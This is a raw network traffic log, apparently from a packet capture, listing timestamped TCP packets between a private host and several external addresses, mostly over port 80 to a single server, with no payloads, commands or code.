Nov 12, 2024 06:23:36.055716038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055721998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055731058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055737972 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055756092 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055758953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055766106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055768967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055790901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055802107 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055847883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055857897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055869102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055877924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055887938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055911064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055921078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055962086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055963039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.055973053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055991888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.055993080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056001902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056005001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056024075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056030035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056035995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056039095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056055069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056077957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056092024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056097031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056107044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056118011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056129932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056144953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056212902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056224108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056233883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056246996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056248903 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056258917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056267977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056277990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056278944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056307077 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056315899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056327105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056337118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056354046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056363106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056368113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056375027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056379080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056385040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056397915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056418896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056446075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056456089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056466103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056476116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056485891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056504965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056668043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056725025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056734085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056767941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056786060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056871891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056886911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056902885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056905031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056915045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056919098 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056925058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056936979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056943893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056952953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056963921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056972027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056973934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.056973934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056981087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056982994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.056987047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057014942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057037115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057089090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057099104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057111979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057121992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057127953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057141066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057168961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057320118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057379007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057379007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057388067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057414055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057418108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057423115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057434082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057451963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057459116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057478905 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057601929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057626009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057637930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057646990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057647943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057658911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057667971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057674885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057698965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057734966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057745934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057755947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057769060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057790995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057826042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057836056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057845116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057853937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.057861090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057872057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.057900906 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.072874069 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.072890043 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.072940111 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.072943926 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.072993994 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.073199987 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.073220968 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.073231936 CET	54547	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.073236942 CET	443	54547	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.076379061 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.076406002 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.076503038 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.076607943 CET	54559	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.076617956 CET	443	54559	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.097577095 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.097604990 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.097646952 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.097654104 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.097666979 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.097707033 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.098011971 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.098017931 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.098067045 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.098140955 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.098166943 CET	443	54541	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.098208904 CET	54541	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.098402977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.098449945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.098459005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.098469973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.098484039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.098515034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102479935 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102530956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102560997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102571011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102580070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102591038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102592945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102613926 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102627993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102638960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102642059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102652073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102659941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.102669954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102680922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.102706909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.116770029 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.116816044 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.116862059 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.117082119 CET	54548	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.117095947 CET	443	54548	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.120306015 CET	54560	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.120332003 CET	443	54560	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.120383024 CET	54560	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.120709896 CET	54560	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.120722055 CET	443	54560	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.144933939 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.144953966 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.145000935 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.145010948 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.145165920 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.145239115 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.145806074 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.145812988 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.145822048 CET	54550	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.145828009 CET	443	54550	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.147402048 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.147427082 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.147675037 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.147913933 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:36.147932053 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:36.149643898 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.149655104 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.149801970 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.150103092 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.150111914 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.150140047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.150152922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.150163889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.150178909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.150193930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.151235104 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.151331902 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.151416063 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.151437998 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.151454926 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.151467085 CET	54549	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.151472092 CET	443	54549	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.153549910 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.153561115 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.153624058 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.153774977 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.153789043 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.170166016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170176983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170187950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170221090 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170233965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170277119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170296907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170305967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170311928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170337915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170341015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170352936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170362949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170371056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170393944 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170543909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170572996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170578003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170583010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170598984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170614004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170739889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170751095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170761108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170783043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170794010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170907974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170923948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170941114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170942068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170957088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170968056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170969009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170975924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.170981884 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.170993090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171004057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171011925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171021938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171027899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171040058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171046019 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171046972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171051979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171058893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171067953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171072960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171078920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171087027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171092987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171108961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171123028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171124935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171132088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171147108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171149969 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171164989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171169996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171175003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171185017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171194077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171196938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171205044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171216011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171220064 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171226025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171236992 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171256065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171257973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171266079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171277046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171293020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171310902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171345949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171356916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171367884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171379089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171387911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171400070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171413898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171436071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171466112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171475887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171499968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171499968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171508074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171513081 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171525955 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171541929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171551943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171561956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171571970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171576977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171592951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171612978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171641111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171650887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171669960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171679974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171681881 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171690941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171704054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171706915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171720982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171740055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171750069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171751022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171761036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171777010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171802998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171880007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171890974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171900988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.171916008 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.171932936 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.172270060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172288895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172301054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.172307968 CET	49779	80	192.168.2.5	185.215.113.206
